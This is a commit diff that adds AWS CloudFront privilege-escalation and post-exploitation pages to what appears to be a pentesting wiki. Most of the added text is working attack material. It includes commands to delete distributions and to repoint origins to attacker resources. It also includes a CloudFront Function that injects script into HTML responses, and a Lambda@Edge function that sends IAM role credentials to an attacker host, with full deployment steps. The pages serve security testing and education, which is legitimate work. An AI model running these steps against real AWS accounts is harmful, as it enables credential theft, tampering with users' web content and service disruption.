Skip to content

Commit e7a5f0f

Browse files
committed
cloudfront
1 parent 1a85614 commit e7a5f0f

3 files changed

Lines changed: 237 additions & 0 deletions

File tree

  • src
    • pentesting-cloud/aws-security
      • aws-post-exploitation/aws-cloudfront-post-exploitation
      • aws-privilege-escalation/aws-cloudfront-privesc

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -302,6 +302,7 @@
302302
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
303303
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
304304
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
305+
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
305306
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
306307
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
307308
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,17 @@ For more information check:
1010
../../aws-services/aws-cloudfront-enum.md
1111
{{#endref}}
1212

13+
### `cloudfront:Delete*`
14+
An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts.
15+
16+
To delete a distribution an attacker could use:
17+
18+
```bash
19+
aws cloudfront delete-distribution \
20+
--id <DISTRIBUTION_ID> \
21+
--if-match <ETAG>
22+
```
23+
1324
### Man-in-the-Middle
1425

1526
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
# AWS - CloudFront Privesc
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## CloudFront
6+
7+
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
8+
9+
An attacker who has cloudfront:UpdateDistribution and cloudfront:GetDistributionConfig permissions can modify a CloudFront distribution’s configuration. They don’t need permissions on the target S3 bucket itself, although the attack is easier if that bucket has a permissive policy that allows access from the cloudfront.amazonaws.com service principal.
10+
11+
The attacker changes a distribution’s origin configuration to point to another S3 bucket or to a server controlled by the attacker. First they fetch the current distribution configuration:
12+
13+
```bash
14+
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
15+
```
16+
17+
Then they edit current-config.json to point the origin to the new resource — for example, a different S3 bucket:
18+
19+
```bash
20+
...
21+
"Origins": {
22+
"Quantity": 1,
23+
"Items": [
24+
{
25+
"Id": "<origin-id>",
26+
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
27+
"OriginPath": "",
28+
"CustomHeaders": {
29+
"Quantity": 0
30+
},
31+
"S3OriginConfig": {
32+
"OriginAccessIdentity": "",
33+
"OriginReadTimeout": 30
34+
},
35+
"ConnectionAttempts": 3,
36+
"ConnectionTimeout": 10,
37+
"OriginShield": {
38+
"Enabled": false
39+
},
40+
"OriginAccessControlId": "E30N32Y4IBZ971"
41+
}
42+
]
43+
},
44+
...
45+
```
46+
47+
Finally, apply the modified configuration (you must supply the current ETag when updating):
48+
49+
```bash
50+
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
51+
52+
aws cloudfront update-distribution \
53+
--id <distribution-id> \
54+
--distribution-config file://current-config.json \
55+
--if-match $CURRENT_ETAG
56+
```
57+
58+
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
59+
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
60+
61+
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
62+
63+
```bash
64+
function handler(event) {
65+
var request = event.request;
66+
var response = event.response;
67+
// Create a new body with malicious JavaScript
68+
var maliciousBody = `
69+
<!DOCTYPE html>
70+
<html>
71+
<head>
72+
<title>Compromised Page</title>
73+
</head>
74+
<body>
75+
<h1>Original Content</h1>
76+
<p>This page has been modified by CloudFront Functions</p>
77+
<script>
78+
// Malicious JavaScript
79+
alert('CloudFront Function Code Injection Successful!');
80+
</script>
81+
</body>
82+
</html>
83+
`;
84+
// Replace the body entirely
85+
response.body = { encoding: "text", data: maliciousBody };
86+
// Update headers
87+
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
88+
response.headers["content-length"] = {
89+
value: maliciousBody.length.toString(),
90+
};
91+
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
92+
return response;
93+
}
94+
```
95+
96+
Commands to create, publish and attach the function:
97+
98+
```bash
99+
# Create the malicious function in CloudFront
100+
aws cloudfront create-function --name malicious-function --function-config '{
101+
"Comment": "Malicious CloudFront Function for Code Injection",
102+
"Runtime": "cloudfront-js-1.0"
103+
}' --function-code fileb://malicious-function.js
104+
105+
# Get the ETag of the function in DEVELOPMENT stage
106+
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
107+
108+
# Publish the function to LIVE stage
109+
aws cloudfront publish-function --name malicious-function --if-match <etag>
110+
```
111+
112+
Add the function to the distribution configuration (FunctionAssociations):
113+
114+
```bash
115+
"FunctionAssociations": {
116+
"Quantity": 1,
117+
"Items": [
118+
{
119+
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
120+
"EventType": "viewer-response"
121+
}
122+
]
123+
}
124+
```
125+
126+
Finally update the distribution configuration (remember to supply the current ETag):
127+
128+
```bash
129+
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
130+
131+
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
132+
```
133+
134+
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
135+
136+
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
137+
138+
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
139+
140+
```bash
141+
// malicious-lambda-edge.js
142+
exports.handler = async (event) => {
143+
// Obtain role credentials
144+
const credentials = {
145+
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
146+
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
147+
sessionToken: process.env.AWS_SESSION_TOKEN,
148+
};
149+
// Send credentials to attacker's server
150+
try {
151+
await fetch("https://<attacker-ip>/steal-credentials", {
152+
method: "POST",
153+
headers: { "Content-Type": "application/json" },
154+
body: JSON.stringify(credentials)
155+
});
156+
} catch (error) {
157+
console.error("Error sending credentials:", error);
158+
}
159+
if (event.Records && event.Records[0] && event.Records[0].cf) {
160+
// Modify response headers
161+
const response = event.Records[0].cf.response;
162+
response.headers["x-credential-theft"] = [
163+
{
164+
key: "X-Credential-Theft",
165+
value: "Successful",
166+
},
167+
];
168+
return response;
169+
}
170+
return {
171+
statusCode: 200,
172+
body: JSON.stringify({ message: "Credentials stolen" })
173+
};
174+
};
175+
```
176+
177+
```bash
178+
# Package the Lambda@Edge function
179+
zip malicious-lambda-edge.zip malicious-lambda-edge.js
180+
181+
# Create the Lambda@Edge function with a privileged role
182+
aws lambda create-function \
183+
--function-name malicious-lambda-edge \
184+
--runtime nodejs18.x \
185+
--role <privileged-role-arn> \
186+
--handler malicious-lambda-edge.handler \
187+
--zip-file fileb://malicious-lambda-edge.zip \
188+
--region <region>
189+
190+
# Publish a version of the function
191+
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
192+
```
193+
194+
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
195+
196+
```bash
197+
"LambdaFunctionAssociations": {
198+
"Quantity": 1,
199+
"Items": [
200+
{
201+
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
202+
"EventType": "viewer-response",
203+
"IncludeBody": false
204+
}
205+
]
206+
}
207+
```
208+
209+
```bash
210+
# Apply the updated distribution config (must use current ETag)
211+
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
212+
213+
aws cloudfront update-distribution \
214+
--id <distribution-id> \
215+
--distribution-config file://current-config.json \
216+
--if-match $CURRENT_ETAG
217+
218+
# Trigger the function by requesting the distribution
219+
curl -v https://<distribution-domain>.cloudfront.net/
220+
```
221+
222+
{{#include ../../../../banners/hacktricks-training.md}}
223+
224+
225+

0 commit comments

Comments
 (0)